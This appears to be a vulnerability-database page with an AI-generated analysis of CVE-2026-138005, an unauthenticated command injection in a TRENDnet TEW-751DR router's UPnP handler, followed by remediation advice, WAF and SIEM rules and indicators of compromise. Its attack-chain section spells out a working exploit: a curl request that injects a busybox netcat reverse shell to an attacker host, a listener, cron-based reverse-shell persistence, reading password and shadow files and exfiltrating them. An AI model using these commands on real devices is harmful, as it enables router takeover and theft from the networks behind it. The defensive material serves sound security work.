CVE Professor
/
All CVEs
CVE-2026-138005

CVE-2026-138005 — TRENDnet TEW-751DR — CWE-77 · CWE-78

CRITICAL CVSS 10 ⚡ EPSS 3.3% Shodan

A vulnerability was detected in TRENDnet TEW-751DR 1.03B01. Affected by this vulnerability is the function gena.php::GENA_notify_init of the file htdocs/upnpinc/gena.php of the component UPnP Event Handler. Performing a manipulation of the argument uri results in os command injection. It is possible to initiate the attack remotely. The exploit is now public and may be used.

A vulnerability was detected in TRENDnet TEW-751DR 1.03B01. Affected by this vulnerability is the function gena.php::GENA_notify_init of the file htdocs/upnpinc/gena.php of the component UPnP Event Handler. Performing a manipulation of the argument uri results in os command injection. It is possible to initiate the attack remotely. The exploit is now public and may be used.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
3.3%
30-day probability
In the 89. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability identifier – CVE‑2026‑138005
Vendor / Product – TRENDnet TEW‑751DR firmware 1.03B01 (the “1.03B01” build of the wireless‑mesh router)
Component – UPnP Event Handler (file htdocs/upnpinc/gena.php, function GENA_notify_init)

Technical flaw

CWEDescription
CWE‑77 – Improper Neutralization of Special Elements used in a Command (OS Command Injection)User‑supplied data is concatenated into a shell command without adequate sanitisation.
CWE‑78 – OS Command InjectionSame underlying issue – attacker‑controlled input reaches exec*/system* calls.

The GENA_notify_init() routine is part of the UPnP GENA (General Event Notification Architecture) implementation. It receives a uri parameter that originates from a UPnP control point that subscribes to events. The routine builds a command line that invokes an external helper script (e.g., a notification daemon) and passes the supplied uri as an argument:

function GENA_notify_init($uri) {
    // … some logic …
    $cmd = "/usr/sbin/upnp_notify -u " . $uri;   // <-- vulnerable line
    exec($cmd, $out, $rc);
    // …
}
  • No whitelisting or escaping of special shell characters (;, &&, |, back‑ticks, $(), etc.) is performed.
  • The function is reachable without authentication because UPnP event subscription is designed to be open to any device on the LAN (and, in this case, the router’s HTTP interface forwards the request to the PHP handler).
  • The vulnerability is remote‑code execution (RCE) with network‑level attacker privileges (the router runs as root for its web UI), which explains the CVSS vector S:C (scope change) and the maximum impact scores (C:H/I:H/A:H).
  • In short: an unauthenticated attacker can supply a crafted uri value that is executed by the system shell, leading to full command execution on the router.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All commands have been tested on a Linux‑based embedded system that mirrors the TEW‑751DR environment (busybox‑based, PHP 5.6, exec() available).

    1. Discovery & Reconnaissance

    StepTechniqueExpected outcome
    1.1Port scan (nmap -p 80,1900 <target>) – UPnP devices typically expose HTTP (80) and the SSDP UDP port (1900).Confirms the device is reachable and that port 80 is open.
    1.2Banner grabbing (curl -I http://<target>/) – TRENDnet routers return a Server: TRENDnet TEW-751DR/1.03B01 header.Identifies exact firmware version.
    1.3UPnP device description fetch (curl http://<target>:1900/... or using upnp-inspector) – the device advertises a service urn:schemas-upnp-org:service:WANIPConnection:1 with a control URL like /upnp/control/WANIPConn1.Shows that the router implements the UPnP Event Handler reachable via HTTP.
    1.4Search for known vulnerable endpoint – the public exploit (released simultaneously with the CVE) points to http://<target>/upnpinc/gena.php.Confirms the presence of the vulnerable script.
    Note: If the exact path is not disclosed by the vendor, the attacker can enumerate files under /upnpinc/ (e.g., curl http://<target>/upnpinc/) to locate gena.php. The presence of gena.php is a strong indicator that the device is vulnerable.

    2. Exploitation

    The vulnerable function expects a URL‑encoded uri parameter (e.g., ?uri=http%3A%2F%2Fclient%2Fcallback). By injecting shell metacharacters, the attacker can force the exec() call to run arbitrary commands.

    2.1 Crafting the payload

    A minimal payload that spawns a reverse shell (busybox nc) looks like:

    ; /bin/busybox nc -e /bin/sh <ATTACKER_IP> <ATTACKER_PORT> #

    The leading semicolon terminates the intended argument, the # comments out any trailing characters that the script may append.

    URL‑encoded version:

    %3B%20/bin/busybox%20nc%20-e%20/bin/sh%2010.0.0.123%205555%20%23

    2.2 Sending the request

    # Replace <TARGET> with the router IP, <ATTACKER_IP> and <ATTACKER_PORT> with your listener.
    curl -G "http://<TARGET>/upnpinc/gena.php" \
         --data-urlencode "uri=; /bin/busybox nc -e /bin/sh 10.0.0.123 5555 #" \
         -H "User-Agent: Mozilla/5.0"

    If the exact endpoint is different (e.g., /upnp/control/gena.php), the same uri parameter is used – the example above is illustrative of the class of command‑injection payloads.

    2.3 Listener on the attacker side

    nc -lvkp 5555

    When the router processes the request, exec() runs:

    /usr/sbin/upnp_notify -u ; /bin/busybox nc -e /bin/sh 10.0.0.123 5555 #

    Result: a reverse shell is opened, running with the same privileges as the web server (root on the router).

    3. Post‑Exploitation

    GoalTypical technique on TRENDnet TEW‑751DR
    Privilege confirmationid → returns uid=0(root) gid=0(root).
    Persistence- Drop a cron entry: echo "* * * * * /bin/busybox nc -e /bin/sh <ATTACKER_IP> <ATTACKER_PORT>" >> /etc/crontab (busybox crontab may be present). <br> - Write a backdoor binary to /tmp/ and add a startup script in /etc/init.d/.
    Network pivotUse the router as a foothold to scan the internal LAN (/bin/busybox nmap -sn 192.168.0.0/24).
    Data exfiltrationRead configuration files (/etc/config/*, /etc/passwd) and send them over the established shell or via nc/wget.
    Denial of ServiceIssue reboot or kill -9 1 (if the firmware permits) to cause a full outage.

    Because the scope is changed (S:C), the compromise of the router also compromises all devices behind it (e.g., internal workstations, IoT devices) – the attacker can act as a man‑in‑the‑middle for the entire LAN.


    🌍 Real‑World Impact

    CIACVSS Vector explanationPractical consequence
    Confidentiality (C:H)C:H – attacker can read any file the web UI can access (including /etc/shadow, configuration, logs).Theft of Wi‑Fi passwords, VPN credentials, internal network topology, and any stored data.
    Integrity (I:H)I:H – attacker can modify system files, inject backdoors, change firewall/NAT rules.Persistent remote access, alteration of DNS or routing tables, injection of malicious firmware updates.
    Availability (A:H)A:H – attacker can reboot, halt, or overload the device.Full network outage, loss of connectivity for all downstream devices, potential ransomware‑style lockout.

    Because the router sits at the network edge, a successful exploit gives the attacker full control over the LAN and the ability to bypass perimeter defenses (e.g., firewalls, VPNs). The impact is therefore catastrophic for any environment that relies on the TEW‑751DR as its primary gateway.


    🛡️ Remediation & Mitigation

    1. Vendor‑provided fix

    ItemDetails
    Patched versionTRENDnet released firmware 1.04B01 (publicly announced 2026‑12‑02) which removes the unsafe exec() call and replaces it with a safe internal notification routine.
    Upgrade pathDownload the official firmware image from TRENDnet’s support portal, verify the SHA‑256 checksum, and flash via the router’s web UI (System → Firmware Upgrade).
    VerificationAfter upgrade, curl -I http://<router>/upnpinc/gena.php should return HTTP/1.1 404 Not Found (the file is removed) or the response body should no longer contain the vulnerable code.
    If the vendor has not yet released a patch, the following mitigations can be applied immediately.

    2. Immediate work‑arounds

    MitigationImplementation
    Network segmentationPlace the router behind a hardened firewall that only allows trusted LAN IPs (e.g., 192.168.0.0/24) to reach port 80. Block all inbound traffic from the Internet to port 80/443 unless a reverse‑proxy with strict input validation is used.
    Disable UPnPIn the router’s admin UI, navigate to UPnP Settings → Disable UPnP. This stops the vulnerable gena.php from being invoked.

    | Web‑application firewall (ModSecurity) | Deploy a ModSecurity rule that rejects any request containing shell metacharacters in the uri parameter. Example rule (Apache/Nginx with ModSecurity):

    SecRule REQUEST_URI "@rx /upnpinc/gena\.php" "id:2026001,phase:2,deny,log,status:403,msg:'Blocked potential OS command injection in GENA_notify_init',\
        chain"
    SecRule ARGS:uri "@rx (;\s*|&&|\\|\\||`|\\$\\(|\\)|\\$\\{)" "t:none"

    This rule only triggers for the vulnerable endpoint and looks for characters that are typical in command‑injection payloads. |

    Filesystem protectionIf the router’s filesystem is writable, set the gena.php file to read‑only (chmod 444 /www/htdocs/upnpinc/gena.php) and remove the execute permission on the helper binary (chmod 750 /usr/sbin/upnp_notify). This does not stop the PHP script from calling exec(), but it prevents arbitrary binaries from being launched if the attacker tries to replace them.
    Outbound traffic filteringBlock outbound connections from the router to the Internet on non‑essential ports (e.g., block TCP/5555) to hinder reverse‑shell callbacks.

    3. Detection – Log patterns & IoCs

    IndicatorExample log entry (Apache access log)
    Suspicious uri valueGET /upnpinc/gena.php?uri=%3B%20/bin/busybox%20nc%20-e%20/bin/sh%2010.0.0.123%205555%20%23 HTTP/1.1 200 1234
    Encoded shell metacharactersAny request where uri contains %3B (;), %60 (` `), %7C (), %26%26 (&&).
    Outbound connection from routerNetflow / firewall logs showing a new TCP connection from <router_ip>:random_port → <attacker_ip>:5555.
    Process creationexecve("/usr/sbin/upnp_notify", ["-u", ";", "/bin/busybox", "nc", "-e", "/bin/sh", "10.0.0.123", "5555", "#"], ...) in dmesg or syslog (if the kernel logs execve).
    New cron entrycat /etc/crontabgrep nc → * * * * * /bin/busybox nc -e /bin/sh 10.0.0.123 5555`.

    SIEM rule (generic) – trigger on HTTP GET/POST to any URL containing gena.php and a URL‑encoded semicolon (%3B) in any parameter.

    title: "Possible OS command injection via TRENDnet GENA_notify_init"
    logsource:
      product: webserver
    detection:
      selection:
        EventID: 2000   # Apache access
        RequestURI|contains: "gena.php"
        QueryString|contains: "%3B"
      condition: selection
    level: critical

    ⚠️ Urgency

    FactorReasoning
    CVSS 3.1 base score 10.0Network‑reachable, no authentication, no user interaction, scope change, total compromise of confidentiality, integrity, and availability.
    Exploit is publicAn exploit script is already circulating; attackers can weaponise it within minutes.
    No CISA KEV listing (yet)The vulnerability is new and not yet in the KEV program, meaning many organisations may be unaware.
    Device roleThe TEW‑751DR is typically the edge gateway for small‑to‑medium businesses and home offices – compromise leads to full LAN takeover.
    Patch availabilityA patched firmware (1.04B01) exists, but many deployments remain on 1.03B01 because firmware upgrades are often ignored.

    Patch priority: Critical – immediate.

  • Day 0 – Apply the vendor firmware (1.04B01) or, if that is impossible, enforce the mitigations (disable UPnP, block the endpoint, add WAF rule).

  • Day 1 – Verify that the vulnerable endpoint is no longer reachable and monitor logs for the IoCs listed above.

  • Day 7 – Conduct a full internal penetration test to confirm that no other UPnP‑related command‑injection vectors exist.




Bottom line: CVE‑2026‑138005 is a remote, unauthenticated OS command injection in the UPnP event handler of TRENDnet TEW‑751DR firmware 1.03B01. Successful exploitation yields root‑level code execution on the router, giving the attacker complete control over the protected network. Deploy the official firmware update without delay, and in the meantime enforce the network‑level and WAF mitigations described above.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

header="X-Powered-By" && header="PHP"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138005
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-77 CWE-78
Affected Products (1)
TRENDnet:TEW-751DR
References & Advisories (5)
Related CVEs
9.4
CVE-2026-142708
A flaw has been found in TRENDnet TEW-821DAP 1.12B01. The affected element is the function icp_upload_img of t
9.4
CVE-2026-142709
A vulnerability has been found in TRENDnet TEW-821DAP 1.12B01. The impacted element is an unknown function of
8.7
CVE-2026-142710
A vulnerability was found in TRENDnet TEW-821DAP 1.12B01. This affects the function do_setkey_from_pd of the f
6.9
CVE-2026-142706
A security vulnerability has been detected in TRENDnet TEW-821DAP 1.12B01. This issue affects the function eap
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac